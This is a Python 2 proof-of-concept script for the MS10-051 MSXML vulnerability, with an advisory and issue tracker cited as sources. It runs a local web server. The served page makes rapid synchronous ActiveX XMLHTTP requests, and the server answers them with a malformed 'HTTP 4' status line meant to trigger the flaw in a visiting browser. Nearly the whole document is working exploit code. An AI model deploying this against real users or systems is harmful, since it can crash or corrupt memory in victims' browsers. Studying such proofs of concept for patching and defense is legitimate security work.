# Sources:  

# http://skypher.com/index.php/2010/08/10/ms10-051/  

# http://code.google.com/p/skylined/issues/detail?id=17  

#  

import os, re, socket;  

webserver_port = 28876;  

   

replies = {  

  r'^/$': ('text/html', """  

<SCRIPT>  

  iCounter = 0  

  function go() {  

    var request_url = location.protocol + "//" + location.host + "/RandomHTTP?counter=" + (iCounter++);  

    var xml_http_request = new ActiveXObject("Msxml2.XMLHTTP.3.0");  

    xml_http_request.open("GET", request_url, false);  

    xml_http_request.send();  

    setTimeout(go, 1);  

  }  

  go();  

</SCRIPT>  

"""),  

  r'^/RandomHTTP\?counter=\d+$': 'HTTP 4\n',  

};  

   

server_socket = socket.socket();  

server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1);  

server_socket.bind(('', webserver_port));  

server_socket.listen(1);  

print 'Webserver running at http://localhost:%d/' % webserver_port;  

   

while 1:  

  client_socket,_ = server_socket.accept();  

  try:  

    request = client_socket.recv(1024);  

  except socket.error, e:  

    print '>> ??';  

    continue;  

  print '>> ' + request.split('\r\n')[0];  

  path = None;  

  if request[:4] == 'GET ':  

    end_path = request.find(' ', 4);  

    if end_path != -1:  

      path = request[4:end_path];  

  code, reason, mime_type, body = 404, 'Not found', 'text/plain', 'Not found';  

  response = None;  

  if path is not None:  

    for path_regexp in replies.keys():  

      if re.match(path_regexp, path):  

        if type(replies[path_regexp]) == str:  

          response = replies[path_regexp];  

        elif type(replies[path_regexp]) == tuple:  

          code, reason = 200, 'OK';  

          mime_type, body = replies[path_regexp];  

        else:  

          code, reason, mime_type, body = replies[path_regexp](path);  

        break;  

  if response is None:  

    response = '\r\n'.join([  

      'HTTP/1.1 %03d %s' % (code, reason),  

      'Content-Type: %s' % mime_type,  

      'Date: Sat Aug 28 1976 09:15:00 GMT',  

      'Expires: Sat Aug 28 1976 09:15:00 GMT',  

      'Cache-Control: no-cache, must-revalidate',  

      'Pragma: no-cache',   

      'Accept-Ranges: bytes',  

      'Content-Length: %d' % len(body),  

      '',  

      body  

    ]);  

  print '<< %s (%d bytes %s)' % \  

      (response.split('\r\n')[0], len(response), mime_type);  

  try:  

    client_socket.send(response);  

  except socket.error, e:  

    pass;  

  client_socket.close();

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